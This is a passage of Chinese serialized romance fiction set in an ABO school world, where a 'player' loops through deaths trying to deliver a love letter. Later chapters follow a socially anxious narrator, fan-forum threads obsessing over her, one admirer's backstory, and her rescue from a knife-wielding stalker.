可惜了,这个世界没有鬼,玩家叹了一口气,意识到这个平凡世界的不凡之处,竟有点怀念起那些打打杀杀的武力斗争世界了。
如果按照以往打听消息,可以用听说了一个校园鬼故事开头,但现在——
“我有一个喜欢的人……”玩家决定编造一个爱情故事开头。
高玩没有短板,在所有技能作废的情况下,演技就成了玩家最大的倚仗。
玩家在短短三天之内收集整理了一抽屉消息,在他细心分类整理,决心找出主人公的时候。
系统的机械音传来【丝珮叶学院的情书任务失败,剩余次数:6】
正陷入抓住“嫌疑人”状态的玩家浑身一震,下一秒魂飞魄散。
玩家的第一次死亡,原因:时间限制。
三天后就是暑假,世界任务表面上没有时间限制,但实则必须要在暑假前完成。(玩家备注:或许是因为系统任务如果我不在此之前完成,放假后就完全没有机会了。)
死亡是最重要的线索提示。
地域限制?玩家在笔记本上记录,只有在校园里才有机会接触到主人公?是因为阶级地位吗?
玩家从资料中圈出几位家世好地位高的学生,一个接着一个的递出自己制作的情书,结果如下:玩家被在画室画画的叶曦完全无视,玩家站在路中央被双手插兜的刑珏面不改色绕开,玩家完全找不到行踪行踪诡异的萧晏昀,玩家双手递出的情书被白洛翊皱眉推开并得到一句“现在还有人不知道我属于谁吗?”的莫名回答。
唯一一个接过情书的是姜念屿,他含着微笑接过,姿态从容优雅的撕成碎片,挥手洒在玩家脸上。
一群神经病!玩家暗骂。这就是任务的难度吗?根本不会有人接受玩家的情书。
玩家抱着必须完成每日计划的决心找到列表上最后一个人——宿斯漾,这是唯一一个礼貌拒绝玩家的人,那时唯一一个正常人宿斯漾正在练习钢琴,一曲结束后,玩家得到“抱歉,我已经有喜欢的人。”的礼貌回复。
事情陷入僵局,现在已经不是找不找得到正确的主人公的问题了,而是还没有一个人愿意接过玩家的情书。
玩家决定从头开始分析:第一、系统选择的那个人一定是有特殊性的,极有可能在某个方面达到顶峰。第二、这个人玩家只有在学校才有接触的机会,一旦放假就完全见不到。
如果排除社会阶级的原因的话,第二点极有可能是——社恐或深居简出的研究性学者。
玩家再次圈中两个人:鱼竹雨、原亦可。
鱼竹雨成绩优异众所周知,还有小道消息称她这次暑假受邀参与一项秘密研究活动,而原亦可则是被玩家发现这人会控分,入学半年后,不管是什么考试,他都在年级十二名,再加上玩家打听过这人的性格,得到四个字:孤僻古怪。
这两人都极为符合玩家的要求,事不宜迟,最后一天,玩家提书就上。
“抱歉。”鱼竹雨嘴唇微弯,接着低头看书。
原亦可扫了一眼,一字不发,接着继续看窗外风景。
玩家在沉默中第二次死亡,这次是千刀万剐。
第三次死亡玩家油锅烹炸:玩家认真反思后觉得是方法不对,于是玩家把自认为是“嫌疑人”的课桌里,都匿名放上一封情书,结局:一封未拆,全进垃圾桶。
第四次死亡玩家五马分尸:玩家偷偷摸摸跟踪“嫌疑人”们,下药、打晕、威胁,逼迫他们接受玩家的情书,结局:玩家被麻醉枪射击,送入精神病院。
第五次死亡玩家肝肠寸断:玩家另辟蹊径,直接绑架数十名学生,逼问他们“如果写了一封情书,最想交给谁?”“如果你有一个机会,最想和谁在一起?”“你喜欢的人叫什么名字?”“学校里你最爱的人是谁?”,在这次轮回中,玩家得到一个无数次被自己忽略的名字,结局:事情败露,玩家落荒而逃。
第六次死亡玩家撕心裂肺:玩家绞尽脑汁接近那个人,她永远被拥簇着,永远被注视着,玩家对于那些人来说是个鬼鬼祟祟的生面孔,还没靠近就被若有若无的挤开、排斥,悄悄塞进她课桌的信封也总在她发现之前被人清除。结局:玩家被学生会一致同意退学处理。
第七次——也是最后一次机会。
玩家经过处心积虑的谋划,终于逮着一个机会冲到那个人面前。
玩家挣脱掉准备拦截的手臂,忽略掉旁人不悦厌恶的眼神,玩家几乎屏住呼吸,全神贯注地看着她——这是玩家存活下去、离开这里的希望。
玩家没有意识到自己如今衣着的不正式与凌乱,没有察觉到这几秒钟时空像是凝滞般的安静。
玩家只是注视着她,她静谧深邃的黑瞳中闪过惊讶,动作像是被设置了慢速,她轻微低头,眼睫落下,手臂抬起,又悬停在半空中,简短犹豫过后,她双手接过玩家双手递来的情书。
手指苍白而修长,透过手背能隐约看到交织的青紫血管,玩家心脏跳动得像在炎炎夏日喝了一罐咕噜噜冒着气泡的冰可乐,无尽热气却不知疲倦地涌上玩家的大脑。
玩家想,终于,终于可以结束这一切了吗?
玩家心脏的跳声压过周围一切的喧嚣,但在紧张激动之余,玩家的耳朵仍能捕捉到她的声音。
“谢谢,我会认真看的。”她的声音轻柔而平和,“但是,请不要……”
是拒绝吗?玩家在得到【任务成功】提示的时候,大脑还在晕乎乎地转。
为什么拒绝一个陌生人也要这么温柔?
玩家抽离这个世界之前还在想:太奇怪了,为什么之前会忽视她?——
作者有话说:主线难写嘞
第46章 难搞的人际关系
这是一个下雨天。
雨水淅淅沥沥的,吵闹的叫人心烦,天空被蒙上一层灰蒙蒙的色彩,空气里酝酿着一股冷气,世界阴沉又黯淡。
我撑着一把伞,垂眼专注于脚下,一步一步迈下台阶。
落脚声伴随着水花飞溅,直到走到平地,我才抬眼——这些天熟悉得过头的人撞入我的眼帘,是萧晏昀。
他没打伞,一头耀眼的金色微卷发此时湿哒哒的落在前额,白色T恤黏在身上,影影约约露出身体的轮廓,他正低着头一脚踢开脚边的碎石。
要不要跟他打个招呼,一起打伞?我犹豫不觉。
约过两秒,萧晏昀才回应起我的注视,掀起眼皮,明明是失意落寞的模样,那一瞬间眼底却横生戾气。
我愣了一下,心脏像是感觉到危险加速跳动,下意识后退半步。
他看见是我,脸色古怪得像是看见一个可怕的怪物,先是怔住,后退好几步,再转身快步走,最后更是奔跑着离开。
我一个人站在原地,看着他奋力奔跑的背影,犹疑着转身看向身后,身后空无一人。
难不成是我吓到了他?
正好,这下就不用犹豫要不要询问人家要不要一起打伞了。
我并不把他这奇怪的态度放在心上。
就像是前阵子走哪里都能碰见他,关系突飞猛进(他自认为),我猜测是他叔叔监视我的要求一样,最近这几天他避我如洪水猛兽,我也能说服自己——可能是他没了兴致或是我在案件中的嫌疑摆脱了吧。
我讨厌处理人际关系这类复杂问题,对一个社恐来说,既然处理不好,那么躲避就是最好的方法。
别管什么短痛不如长痛,我曾经的心理医生就告诉过我,如果躲避能让你快乐,那你就可以躲它个天荒地老。
“如果只能躲一时呢?”
“一时的快乐也是快乐。”她笃定地说,“我们只能活在当下,以后怎样都是狗屁。”
我执行着能让自己快乐的理念。
拒绝一次次的社交邀请,心理防线建的越来越高,我躲在坚如磐石的心墙内,即使是在举目无亲的异世界,我也能快乐幸福。
我把志愿服务报名表交到报名处。
负责人看见我进来,懒懒趴在桌子上的身体都坐直了,脸上闪过明显的惊讶之色。
我猜测可能是下大雨来的人很少的缘故吧,一般人都不会选择这时候来交表。
我是例外,我就是猜到这点,专门在人少的时候来的,为了躲避学生密集的时候,连讨厌的雨天也不在意了。
负责人很有礼貌很负责,就在我说了句“谢谢”走到了门口的时候,我听到手忙脚乱茶杯碰撞的声音,还有小声自语但我仍能听清几句话“欸,欸,原亦可?!”。
我扭头看他,他拿着报名表冲我笑笑,连忙摆摆手示意没事。
志愿服务不是丝珮叶的强制要求,但这种活动跟学分挂钩,而每年需要的学分都有硬性标准,只有达到标准才能升到下一级,不然就得留级,最惨是退学处理。
我不是热络的性子,志愿服务总共参加过两次,都是为了在最后期限凑够学分,而且都是跟同一个人——宿斯漾。
她性格很好,开朗活泼,笑起来靓丽漂亮,虽是个alpha,干活麻利又勤快,从不偷懒耍滑,志愿服务很有爱心,很善良,每次做完自己的工作都主动过来帮我。
说起来能跟她成为好朋友是我的幸运,我不该对她有什么怨言。
确实,我很难有怨,她很好,好到让我觉得有负担的程度了。
相处时,她总是活跃气氛的那个人,眼神温和,嘴角带笑,挑着我感兴趣的话题聊,察言观色,感觉到我累时就适当安静。
我不是一个会调节自己状态来迎合别人的人,我能够很清晰地感觉到她一直在调节自己来迎合我。
可一段正常的友谊不该是这样的。
我能记起原来那个世界中我与友人相处的点点滴滴,与朋友的相处应该是快乐而轻松的。
友谊绝不是一方绞尽脑汁去迎合而造就的。
于是每当我察觉出这一点,我就会感到痛苦,那是一种混杂着迷茫愧疚的情感。而当这种情感壮大时,恨意便会从愧疚中滋生。
我不想讨厌宿斯漾,我想到的解决方法只有远离。
走一步看一步,以后的事情交给以后的自己去应对吧。
我回到教室,跟原亦可约后天上午九点就在学校门口见,他点点头。
原亦可是一个比我还沉默的性子,他静谧得像是无色无味的空气,一般情况下,如果不是我主动找他,他根本不会找我。
就是这样的性格,与他相处,我才觉得安定。
因为不会出现难以把握的意外情况,以及需要斟酌顾忌的情绪情感。
第47章 论坛体【麝香之谜】
【啊啊啊啊啊啊啊啊半夜躺在床上睡不着说点开心的事情吧哈哈哈哈哈哈哈】
1L
胡桃木:昨天偶遇到她了,呜呜呜呜啊啊啊啊啊她对我说话好温柔好有礼貌啊啊,她那时正在做志愿宣传,穿着一个志愿马甲服,头发扎了一个高马尾,那时候接近中午,气温已经很高了,她出了一点汗,脸粉红粉红的,额头鼻尖脖子都湿漉漉的,几缕细碎的黑发弯弯绕绕地粘在一起,手上拿了几张宣传单。
LZ摸了摸口袋,发现正巧自己带了纸巾(啊啊啊啊这都是命运的安排啊啊,命运让我和她相遇!!1),然后lz鼓起勇气靠近她,拿着纸巾的手抖啊抖啊,不得不先放在口袋里。
她看见了我,啊啊啊啊啊啊啊啊啊啊不能跟她对视啊啊啊嘻嘻嘻嘻嘻,就是那种你们知道吗?好像天地都安静了都感觉,脉搏都不会跳动了一样,啊啊啊啊最关键的是她还冲我笑,黑色的眼睛也亮晶晶的,呜呜呜呜呜呜那时候就感觉突然一下好热好热,热的像是身体里噗嗤噗嗤冒着沸腾的水,要炸开了,哈哈哈哈哈哈哈她对我笑!她对我笑!!她对我笑!!!!呜呜呜呜好喜欢好喜欢救命呀呜呜呜。
那时lz穿的是常服(无比庆幸自己出来前正巧好好打扮了一下哈哈哈穿的人模狗样的就是帅!),嘻嘻她好像也这么觉得lz是个好人,她递给我一张宣传单(呜呜呜这上面有一股香气欸,她用的哪款护手霜呀,知情人球球评论一下),然后、然后最重要的是然后!!!!!她主动跟lz说话了呜呜呜呜啊啊啊啊啊哈哈哈哈哈哈哈哈哈哈哈哈哈好开心啊啊,声音好好听,这个距离都能闻到她的香气,是沐浴露还是体香呀?若有若无的,呜呜呜lz一直在忍耐不要疯狂的嗅,要隐晦不能被发现,好难受啊啊嘻嘻。
我看着她好久没有说话,我看着她细碎的闪着光的水珠从碎发上落下,我看着她难耐地舔了舔干涩的嘴唇,我看着她……(啊啊啊啊啊啊啊lmx你这个蠢猪,为什么会忘记递给她纸巾,为什么会忘记给她打遮阳伞啊!明明伞就捏在你手上的啊啊)
现在lz的脑子里还是晕乎乎的,十几个小时前发生的事情现在回想起来都像是蒙上了一层粉红色的滤镜,就是,你们不懂,好幸福好幸福好幸福……
2L
胡桃木:这张宣传单是我跟她的定情信物了,永远不会丢,已经被挂在墙头了。「附图一张」
3L
文艺小汤圆:痴汉|
4L
只爱纯爱:……为什么不早一点发,这样说不定我也能偶遇了[哭泣][哭泣]
5L
胡桃木回复文艺小汤圆:就不嘻嘻,可怜虫你就没偶遇到吧,缘分是上天注定的哦。
6L
胡桃木回复只爱纯爱:我当然是故意的啦,才不要那么早暴露她的行踪好让你们去打扰她,嘻嘻
7L
疯狂星期五:鉴定完毕,lz抑制剂打成催、情素了。
8L
月亮照我身:lz好吵,她不会喜欢你的。(此回复已被贴主删除)
9L
丧尸病狂回复疯狂星期五:也可能是易感期或发、情期到了。
10L
草莓酱大人:呃,可以说吗?lz好恶,像个变态。
11L
希望之光:感觉lz像是能偷偷藏在桌下躲四五个小时只为嗦她一口脚趾的类型。
12L
沧海在为回复希望之光:……虽然我也想骂lz,但足控没错[对手指]
13L
:天,楼内混进了不得了的东西。
14L
用户已注销:别说,只要她能喜欢我,舔她哪里我都愿意。
15L
猕猴桃回复用户已注销:呃,别既要又要好吗?要点脸
16L
完美的云朵:所以lz最后还是没给她纸巾,没有帮她擦汗,没有帮她遮太阳打伞是吗?废物一个,毫无用处。
17L
纯爱赛高:一群梦男梦女,痴女痴汉,别yy她了好吗?认清现实,她要是主动对你笑了主动靠近你,我把脑袋摘下来给你当球踢。
……
50L
第九束向日葵:我记得这种志愿宣传活动不是两人一组吗?她的同伴在哪里?偷懒去了?天这么热让她一个人忙活,还得招待lz这个脑残。
51L
Yongyuanxihuan:lz你多年的好运气在那一刻已经消耗殆尽了,你放心此后你再也偶遇不到她了。
52L
18577:呵呵一张宣传单而已,我有一打,lz在她眼里不过就是个路人,白日做梦还是要不得。
53L
今年要加把劲啊回复第九束向日葵:她这种活动同伴一般都是宿斯漾吧,不过看见lz这个sb接近宿斯漾怎么可能不在她身边,太奇怪了。
54L
烟火回复今年要加把劲啊:这次她同伴换人了,不过也是a班的,是个beta,好像姓原。
55L
愿为回复烟火:!!!真的吗?宿终于被她厌烦了??!那我是不是说明我有可乘之机了!!
……
208L
每天都在看:不是翻这么久了,怎么还没爆出护手霜沐浴露牌子啊?不可能闻到的真是体香吧??lz那么好运?!
第48章 蛇信子
临近下午一点,我和原亦可终于完成了志愿宣传任务。
烈日悬空,我躲在树荫下喝水,习惯散落的头发早已扎成低丸子,戴上了一顶粉色鸭舌帽阻挡阳光,低眸间,几颗细小的水珠就从睫毛发丝上滑落。
“要纸巾吗?”声音像是突然出现的冰凉雪碧,咕噜咕噜冒着泡,哑哑的好听。
过了几秒,热得昏沉的脑子反应过来,我后知后觉地抬头。
漂亮有力、骨节分明的手,修建圆润的指甲,粉白色带着月牙的指尖……眼前景象蒙上模糊的水雾,我下意识揉揉热得湿湿的眼睛,把鸭舌帽抬高,微微眯着眸,仰头看面前的人。
略长的盖住前额与眼睛的头发已经全部捋了上去,白皙的额头点着水光,眉眼很漂亮,尤其眼睛格外吸引人,瞳仁大而圆,眼尾勾而上扬,向后延伸弯着弧线,像是名家画作勾勒出的丹青,泪眼盈盈,水波涟漪,冒出似是而非的绵绵情意。
“要吗?”面前人疑惑地弯弯头,眼睛很轻地眨了一下,宛若蜻蜓轻点水面,引起波纹阵阵。
再一眨眼,那只是冒着热气,热得湿漉漉亮晶晶的眼睛,眼睛的主人安静冷淡,毫无情绪。
“谢、谢。”燥热眩晕的天气蒙住了我的感官,我接过纸巾,避开原亦可的视线,不动声色往旁边挪动了几步。
原来现实中真有撩起头发容貌大变的角色呀,我心中感叹。
忍不住好奇,我微微偏头,眼珠转动,悄悄打量原亦可,他正在喝水,黑浓的睫毛长而直,像剑一样射落,在眼睑投下一小片阴影,下颚瘦削,脸颊上没多少肉,被阳光晒的通红。
为了不被发现,偷瞄不过两秒,就在这两秒里,他给我留下蛇的感觉,容貌翻天地覆的震撼让心尖感觉像是被蛇信“嘶嘶”的滑了下,有一种害怕而难耐的瘙痒感。
我大口咽下矿泉水,大热天中午周遭安静的不同寻常,甚至能清晰听见水珠顺着喉咙滚动翻涌的声音。
“嗯,那我们就在这里告别……”我话还未尽,看见原亦可的头偏了偏,眼睛飞快看向某个方向,我跟着他的目光看去。
鱼竹雨撑着一把太阳伞朝我们这边走来,栗色的短发刚过肩头,发尾微卷,身上干净而清爽,她第一眼看向原亦可,眼睛弯了弯,脸上挂着若有若无的的笑意。
她看上去对原亦可的长相并不惊讶。
“好巧呀。”第二眼才看向我,却先跟我打招呼。
“嗯,好巧。”我看着她眨眨眼,嘴角礼貌性的弯了弯。
“你也在呀。”鱼竹雨前走几步,太阳伞跨过我的头顶,原亦可一人站在伞外,她站在我前面一点,说话时声音温柔,像是冒着香气的名贵茶水缓缓流淌。
原亦可低着眼,一言不发,似乎鱼竹雨带来了可以毒哑人嗓子的空气。
气氛有点奇怪,我的视线在他们两身上转了一下,犹豫了几秒,开口解释:“我们今天是一起来做志愿服务的。”
鱼竹雨的目光回到我的身上,嘴角笑意加大,明亮的眼睛弯弯注视着我,原亦可也掀了掀眼皮,抿唇看我。
“唔,那真巧呀。”鱼竹雨第二遍重复这句话,她比我高半个头,说话时要低头看我,明明是俯视,但没有一丝压迫感。
我没有接话,察觉到氛围的奇怪,微微向后退出一步,在燥热的天气里主动退出伞的范围,紧接着告别,不等他们反应就快步离开——
作者有话说:
第49章 叶曦【天性难违】“不是错误,是天性……
曦,日光也,象征着光明与希望。
叶曦在父母的爱意中出生,他们用“曦”字寄托着对儿子未来美好的祝愿。
叶曦从小就是个漂亮的孩子,雪白的脸颊,浅色的眼珠,纤长的睫毛眨呀眨,又不爱说话,抿着唇严肃着脸像个小大人,于是总有长辈们笑着逗他:“哎呀,这是谁家的洋娃娃——”
他听别人那么说,脸上总会浮现出羞恼的红,那点可以维持的严肃模样早已不见,躲似得连忙挨在父母的身侧,他那时还只是一个内向不爱说话的孩子。
年幼的叶曦在爱里长大,他生活在由绚丽的彩带与无数的赞美声编织而成的象牙塔里,他天真、不谙世事,是象牙塔里的小王子。
事情转折是六岁那年,这个由beta和omega组建的非传统家庭终于走到了尽头。
父亲是一个beta,不同于外界对beta的刻板印象,他独特潇洒,落拓不羁,母亲在见到父亲第一眼时就被他深深吸引,如飞蛾扑火般爱上了那时还籍籍无名的beta小导演,完全不顾omega与beta生理上的不匹配。
六岁前,母亲说,他是一位真正的艺术家,母亲说,她爱他。六岁后,母亲说,他是一位平庸的beta,母亲说,她恨他。
从白瓷打碎在地起,父母的完美形象便被蒙上灰蒙蒙的阴霾,即使他们仍是外界眼里的模范夫妻,即使他们还是外人赞叹的脱离了传统匹配的天作之合。
叶曦从那时起被迫从幕后走到台前,于是一个胆怯怕生、内向寡言的孩子被迫开始蜕变。他也从那时起爱上油画,画中绚烂丰富的色彩让他着迷,他沉迷于涂抹自己的小千世界,远离现实中灰白迷蒙的怪兽。
偶尔在母亲拍戏的闲暇,她会与他通话,母亲不是传统规训中产生的omega慈母,她脱离家族叛逆地走上荧幕,吃了多少苦头也不能把她逼退,她是一个说一不二、雷厉风行的强者,选择和beta父亲结婚或许是她唯一后悔的一件事,所以她和儿子通话内容总显得那么苍白,常有停顿的、无声的间隙。
有一次她凝视住他的眼睛,低下头,吐出的气息扑在耳上,像是喃喃自语,像是心平气和的劝告,又像是祈求中夹着一丝命令的口吻。
她说:“我们是omega,我们天生就是要和alpha结合的,单凭爱意无法拯救我们。”
她告诫他,要远离beta,只能爱上alpha,没有alpha的发情期是很痛苦的,腺体无法舍去,来自基因的本能无法篡改。
叶曦从不反驳母亲的话。
随着时间,他的身量拔高,五官长开,脸颊的婴儿肥消失,下颚线变得清晰,他像一株淡青色的白杨树,不惧风雪,倔强挺立,即使是在上流阶级,他也是一位极为出众的omega。
许是幼年的经历,他对纷至沓来的赞美之词面不改色,对倾慕他的前仆后继的人视若无睹,他对所有的、表现出来的爱意怀疑地拒之门外。
他仍是高傲的,永远有着不屈的脊梁,即便在母亲的要求下,他仍蔑视自大傲慢的alpha,母亲的影响下,他又对平庸匮乏的beta视若无睹,于是他的视线只能转移到与他同性别的omega身上。
于是,头一次,他接触到与自己母亲截然不同的omega们,这些omega是一个类别,温顺、柔弱,容易被掌握、被控制。
他和母亲都是omega中的一个异类,后来,他发现姜家的小儿子看上去像是一个模范omega的姜念屿也是。
菩萨面,恶鬼心,表面一套,背后一套。叶曦不喜他,甚至少见的同情起传闻里与姜念屿纠缠的beta了。
真惨,不知以后会被折磨成什么样子。他事不关己地想,提起画笔,继续涂抹缤纷的色彩。
他从不相信beta与omega之间的感情,他的家庭就是一个活生生的例子。
远离beta,这件事在母亲口中是比找一个好alpha更重要的事情。
叶曦却没认真对待,他想母亲的惨痛教训只是个例,姜念屿的绯闻也只是玩闹。
直到他某天突然意识到,他的目光已经不受自己支配,总是自动追寻着一个人影——一个beta。
叶曦开始感到恐惧,无法避免的自我厌恶。
他讨厌无法掌控的局面,好像自己已经被支配、被控制,变得像从前沉浸在爱情里的母亲,变得像那些温顺柔弱的omega。
他为这样的自己感到反胃、作呕,同时又像自虐一般回忆着和那个beta相处的片段,感到无比痛苦,同时又无比幸福。
是什么时候开始的?他努力回忆。
喜欢总是不讲道理的,是他发现她面对歧视omega题目时空白的答题框,由此产生了好奇,还是偶遇冲撞时她平静中带了点绝望的神色,因此感到好笑?他喜欢的是她的皮相吗?那双深邃静谧如湖水的眼睛。他喜欢的是她的性格吗?对所有性别一视同仁地对待。
叶曦无法理清,他也不敢把“爱”这个极有分量且厚重的词安在自己身上,他只知道自己享受beta情绪浅淡的注视,像轻柔温暖的风,黑瞳里的他丧失了所有外界赋予的标签,他只是“叶曦”这个人。他享受她的气息,没有信息素的干扰,独特的、透明的像水一样可以把自己包裹,幸福的像是回到婴儿时期的温床。
他在拖延,他不敢面对,他有时想一股作气询问母亲“到底怎么办才好”。
他在等待,等待情绪上头的荷尔蒙消失的那天。
不过,在那天到来之前,他得善意的提醒她,远离那个遗传了疯子基因的姜念屿,是的,仅仅出于善意。
Beta和omega的结合是一个错误,母亲说她已经为他试错了,与alpha结合才是omega基因的本能。
可是,母亲,他的生命里延续着她的基因,对beta的爱是不是另一种基因的本能?躲去国外几个月,见到她后,心脏再次跳动剧烈时,叶曦第一次想反驳母亲。
是宿命吧,藏在基因里的密码破解得很轻易,叶曦无力反抗。
所以是什么时候开始的?在看见那个beta的第一眼。
如母亲一般,飞蛾扑火——
作者有话说:做梦都想快点完结(从没写过这么多七万字的,别的都是一两张爽完完事)
第50章 “我不相信他会想杀我”
最近放学回家的时候,总感觉有人在跟着我。
耳边又传来那阵不疾不徐的脚步声,不论我走哪里都一直跟在我身后,可每当我警觉向后方望去时,却从未捕捉住嫌疑人。
我疑心有人想害我,今天尤为严重。
今晚天空没有星星,乌云也遮住了月亮,街上的人影越发稀疏,在那阵紧跟不散的脚步声的压迫下,我拿出手机,对一个从未联系过的人发送了移动位置。
萧警官,联系方式在上回凌吾被列入嫌疑人的时候,而我作为跟他有关系的人被审讯后所加,他说有事可以找他。
那时我没把他的话当一回事,毕竟凌吾是我的系统,是我与这个世界唯一的联系,就算凌吾真是凶手,我也不可能把发现的证据告诉警官。
现在,我握着手机,边用余光往身后瞥,边跟他发求救信息。
【SOS】
【好像被坏人跟踪了】
那头萧警官几乎秒回,【别急,先往大路上走】
好了,这下子就不用冒着风险打电话报警了,我微微松下一口气。
之后,他又给我发了简易版的地图,要我按照图上的方向走。
【最多四分钟】
我努力保持不紊乱的步伐。
可是,后面的脚步声怎么越来越清晰,越来越明显了?
……我还听到了一种陌生的,像是刀出鞘的声音。
不会吧。
我深吸一口气,快速转过头,看到一个带着帽子口罩、体型高大的男人,在我身后五六米远,手中握着一把闪着银光的匕首,我脑子里的那根弦紧绷了一下,丢下书包,然后迅速迈开腿狂奔。
变态杀人狂吗?我怎么这么倒霉?
我边喊救命边喘着气,冷风从嘴里灌进,不过一两分钟腿脚就像灌了水泥一样沉重。
可能今晚得挂在这了,在跟踪狂的手按住我的肩膀、被他的气息笼罩住的时候,我都来不及后悔以前偷懒没好好锻炼身体。
泪水不断涌出,世界在我眼中模糊不清,他钳制住我,却没有立刻动手。
“救……”快速的奔跑使得喉咙里都涌上一股血腥味,沙哑的求救声刚出第一声,就被人用手捂住。
我眨了一下,泪水滚落,世界终于清明片刻,我对上凶手的眼睛——黑沉而深邃,一滴细小的水光从眼眶中滚落,他是不是也在哭泣?
我紧紧盯着他朦胧的眼睛。
眼睛,我见过的眼睛,我熟悉的眼睛,本该无情无欲的眼睛。
他要杀我?!
我的脑子一团乱麻,重重咬住他捂住我嘴的手指,牙齿刺破皮肤,口腔里蔓延着血腥味,我的血液与凶手的血液混合在一起,铁锈般重重的味道让我反胃,可我就是不松口。
我恶狠狠地瞪着凶手。
三秒后白光一闪,凶手高高举起匕首。
我躺在地上,偏头,紧紧的闭上眼,没了一分钟前想躲开、想求救的冲动。
我根本不相信他会想杀死我。
“嘭。”一声枪响。匕首跌落在地上。
凶手没了呼吸,喷涌的血液溅在我的脸上,他的身体似娃娃般跌在我身上。
我被救下。
被人小心扶起来、轻轻拉走的时候,我没有哭泣,只是沉默盯着倒在地上的尸体。
嘴角的血痕和脸上的残留的泪渍被人完全擦拭掉的时候,我一动不动,仍在盯着地上的尸体。
就在枪响的一瞬间,我的脑中出现了那个久违的机械音。
【小姐,再见】没什么情绪的声音,却听得让人怒火中烧。
我深深吸了一口气,准备走上前去,扯开口罩,好好看看凶手的脸,确认一下是不是那个人工智障。
——被人拉住了,萧警官站在我身后,握住我被衣服布料遮住的手腕。
见我回头,他松开手,双眸紧紧锁住我,压迫感重得要命。
我有些怕,垂下眼躲避他的视线,低声解释:“我只想去看看那个坏人的脸。”
他微微眯了一下眼睛,停了几秒才答应:“我跟你一起去。”
走动间,我被熟悉娃娃的晃荡声吸引,这才意识到萧警察手中一直提着我的书包。
也不知道什么时候捡到的?
我向萧警官伸出手,示意他我自己拿就好了。
他盯着我的手愣了一秒,稍作犹豫,随后面不改色用另一只空着的手牵住我:“别怕。”他率先迈开步子。 ?
震惊得我都没及时抽出手解释——
作者有话说:系统做出这一场戏是有原因的。
系统暂时下线。
嗯……卡文卡了三小时【】
50-60
第51章 论坛体【永无宁日】
【!!!我靠,她】(hot)「1」「2」「3」……「10」「11」
1L
舌尖上的跳跳糖:被救了,幸好,幸好。
2L—你他爹能不能说明白一点啊,没头没尾的,急死我了
3L—什么被救?
4L—什么什么。
5L—?
6L—怎么了怎么了
7L—这个时间点她不是早到家了吗?
……
32L—lz快回复啊!!
33L—不回一律当钓鱼哈,钓鱼4000加。
34L—哈喽,lz还在吗?
35L—出什么事了?
36L—看到标题,“啪”一下点进来,看到“被救”心里咯噔一下,不管是真的还是假的,都希望她能平平安安的[祈祷][祈祷]
37L—刚刚查了一下哈,lz定位在长爰街,现在正在赶过去的路上哈,要是真钓鱼,lz你就死定了,我练过十几年拳击的哈。
38L—急急急死我了,有好心人解一下吗?要不是我正在国外赶不回去……[哭泣][哭泣]
……
52L
舌尖上的跳跳糖:她哭了,还是第一次见她哭。
53L—???到底怎么了,你大爷的能不能说清楚一下事情经过啊
54L—谁惹的?
55L—哪个贱人搞的?
56L—啊啊啊宝宝别哭别哭,她在长爰街吗?我五分钟就到
57L—受不了了,老子现在就过去
……
89L
舌尖上的跳跳糖:好吧,lz刚刚情绪稳定点了,你们别来别来,本来她就不喜欢人多。事情经过就是lz放学的时候偶然看见她,刚想悄悄走近一点,发现她在狂奔,后面有个人拿着刀在追她。
90L—!!!!!
91L—啊啊啊啊受伤了吗?
92L—然后呢然后呢?
93L—谁这么贱啊死刑
94L—那个人死了吗?
95L—快说啊快说啊草lz你祖宗的怎么又不在了?
96L—既然她没事,那我就冷静分析一下,lz根本不是偶遇吧?她回家的路谁不知道啊?这么晚了放学这么久了偶遇谁信?追她的是恶人,你他爹也不是什么好人。
……
122L
心动一颗糖:刚刚看到几辆熟悉的车开过去了,lz不在我来说吧,我是听到有人呼叫才过去,本来没想管,帮忙报个警就完事,后来发现那喊“救命”声音有点耳熟,发觉不妙,赶过去的时候,她已经被人按倒在地上了。
123L—啊啊啊啊天杀的杀人犯啊
124L—死刑必须死刑
125L—123L你呃别咒了行吗?她还活的好好的呢,叫什么杀人犯啊??
126L—她受伤严不严重啊?
127L—层主你人呢?怎么又不见一个???
……
156L—我靠,原来是因为这啊,我说怎么突然听到一声枪响呢?
157L—对啊,当时来了好多警察特警之类的。
158L—呜呜呜呜,受害者是她吗?我当时还好奇偷偷往那里瞥了几眼,里三层外三层的,还拉了线了,不准无关人员进入。
159L—找关系偷偷混进去了,感觉现在她还好,身上没有明显伤痕,除了头发有些凌乱,校服上蹭些了灰尘外其他都还好。
……
189L
舌尖上的跳跳糖:lz回来了,没什么心情发贴了,这是最后一个回帖,作为当时几乎目睹全过程的人,刚做完笔录,简单说一下她的情况吧,身上应该有些擦伤,但问题不大,最要紧是,不知怎么的,当时她嘴里吐了一点血,不知道是内脏还是哪里出了问题,必须要去医院做个全身检查。
190L—晕,我心脏不好,不是很能受的了这刺激。
191L—我靠,别吓我
192L—来个人告诉我这是假的……
193L—我家里有开私人医院,没关系,吐血而已小问题,不知多少吐血的人痊愈的[微笑][微笑]
194L—吉人自有天相,我刚刚问过塔罗牌,今天晚上发生的事情,只是她人生中的一点小挫折,是去往成功路上的一点小挑战,她已经成功获救,就说明她打败了困难,她以后的路绝对繁花似锦,一生顺遂。
195L—刚刚得到一条消息,我靠,你们知道那行凶者是谁吗?一桩命案的前嫌疑人,就在刚刚他的嫌疑被证实了,他是真杀人犯,手上至少五条人命。
196L—!!!幸好啊幸好
197L—我靠
198L—看到这本来快要吓死了,但一想到她平安获救,心脏自动归附原味了[祈祷]
199L—不幸中的万幸啊
200L—凶手死了吗?枪毙便宜他了,建议恢复从前的酷刑。
201L—……从没像今天这样希望犯人死的痛苦一点。
202L—凶手最好先别杀,生不如死才是最惨的
203L—呜呜呜我要给救她的警察送锦旗,太感谢了
204L—真好啊真好,一想到她能从这样的人手里获救,就泪流满面了。
……
267L
心动一颗糖;不久前哭过,她眼睛还有点红,获救后,她盯着凶手的尸体盯了好久,还是被警察拉走的(不是,我才发现,那警察一直拉住的是她的手啊,虽然很感谢你们救了她,但拉手是不是有点太亲密了?)
268L—凶手就死了真好,就是可惜
269L—呜呜呜好惨啊她心里应该恨死凶手了吧,我也恨,恨不得凶手千刀万剐,怎么能死得这么干脆呢?
270L—只有我觉得她很勇敢吗?又是被追杀又是被刺杀的,获救后很坚强的没有哭,还能振作起来认一下坏人的脸。
271L—怎么无人在意一下拉手的警察?
272L—服了上面,都是能救命的关系了,不知道她是很有分寸感的吗?如果觉得不适的话早松手了,用你来讲啊?
268L
心动一颗糖:听见她说话了,声音哑哑的,好可怜啊,天杀的凶手啊,一枪毙命太便宜你了。
……
308L—报!!!她要回去了 ,本来还想勇敢点冲上去主动送她的,但一个警察叔叔送了。
309L—那警察有点眼熟。
